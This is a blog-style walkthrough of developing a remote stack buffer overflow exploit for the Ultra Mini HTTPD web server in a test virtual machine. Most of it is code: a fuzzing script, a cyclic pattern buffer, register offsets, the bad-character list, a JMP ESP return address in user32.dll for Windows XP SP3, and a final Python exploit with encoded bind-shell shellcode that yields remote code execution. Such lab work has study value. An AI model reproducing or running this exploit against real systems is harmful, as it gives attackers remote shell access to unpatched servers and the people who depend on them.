Ultra Mini HTTPD ‘GET’ Request Stack Buffer Overflow

I wanted to play around with creating more buffer overflow exploit code, so I went to the www.exploit-db.com and had a look at the most recent uploaded remote exploit codes and saw a buffer overflow entry for the application Ultra Mini HTTPD. I downloaded the application and installed it in my testing virtual machine and prepare it for attempting to exploit.

Without looking at the actual exploitation code for the exploit I did some research on the vulnerability and found that the vulnerability is caused because of the following – “Ultra Mini HTTPD is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.” taken from Security Focus entry, here. This means when the application receives a ‘GET’ request of a certain size this could lead to a buffer overflow. Taking this information I began writing the fuzzing script of the application.

#!/bin/python
import socket
import struct

buffer = "\x41"*5500 # Original fuzzing buffer.
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.215", 80))

payload = (
"GET /" + buffer + " HTTP/1.1\r\n" +
"Host: 192.168.3.215" +
"\r\n\r\n")

s.send(payload)
s.close()

The script sends 9000 A’s to the application in a ‘GET’ request which successfully caused a crash in the application.

initial crash of ultra_mini

Initial crash of Ultra Mini HTTPD.

From the initial running of my python script and seeing that i’ve successfully overwrote the EIP register as well as the ESP, ESI and the EDI registers I thought to myself this is a pretty easy buffer overflow and i’ll be done very quickly. The writing of the exploitation code is to find the locations in the buffer that overwrite the registers, using the patter_create.rb and pattern_offset.rb Ruby scripts I was able to perform this.

#!/bin/python
import socket
import struct

# buffer = "\x41"*5500 # Original fuzzing buffer.
buffer = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9") # Buffer to find locations in buffer that overwrite the registers.

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.215", 80))

payload = (
"GET /" + buffer + " HTTP/1.1\r\n" +
"Host: 192.168.3.215" +
"\r\n\r\n")

s.send(payload)
s.close()
The pattern_create buffer crashing the application.

The pattern_create buffer crashing the application.

The output from the pattern_offset.rb are shown below.

  • EIP Register

root@Phlegethon:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 75473775
[*] Exact match at offset 5302

  • ESP Register

root@Phlegethon:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 8Gu9
[*] Exact match at offset 5306

  • EDI Register

root@Phlegethon:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 5Ch6
[*] Exact match at offset 1787

Now that I know at the time of the buffer overflow where the registers are pointing to in the buffer that I sent. The next part is working out where to place my shellcode for execution. After playing around with some test buffers I decided the best option is the location that the ESP register at the time of the crash. Going forward from here I looked for a JMP ESP instruction in the currently loaded modules using Immunity debugger which I found in the user32.dll module. I reconfigured the new buffer to make sure that the JMP ESP instruction overwrites the EIP instruction which will jump to ESP and then begin executing the shellcode.

The EIP register has successfully been overwritten by the JMP ESP instruction & paused on the breakpoint set at the memory location.

The EIP register has successfully been overwritten by the JMP ESP instruction & paused on the breakpoint set at the memory location.

With the EIP register now successfully being overwritten with the JMP ESP instruction I need to generate the shellcode for the application to execute during the buffer overflow. I test multiple types of encoding techniques until I successfully worked out what bytes should not be included when generating the shellcode, which were “\x00, \x0a, \x0d, \x20, \x0b, \x09, \x0c”, the bytes mentioned previously malformed the test shellcode and cause it not to be executed properly. By excluding the bytes from the encoding process during the shellcode generation I was able to get successful code execution on the victim machine via the buffer overflow vulnerability in the Ultra Mini HTTPD application.

#!/bin/python
import socket
import struct

# msfpayload windows/shell_bind_tcp R | \
#     msfencode -b "\x00\x0a\x0d\x20\x0b\x09\x0c"
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")

# JMP ESP, user32.dll Windows XP SP3
buffer = "\x90"*5302
buffer += "\x53\x93\x42\x7e"
buffer += "\x90"*192
buffer += shellcode #342 bytes
buffer += "\x90"*5158

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.3.215", 80))

payload = (
"GET /" + buffer + " HTTP/1.1\r\n" +
"Host: 192.168.3.215" +
"\r\n\r\n")

s.send(payload)
s.close()
Successful bindshell listening on the victim machine.

Successful bindshell listening on the victim machine.

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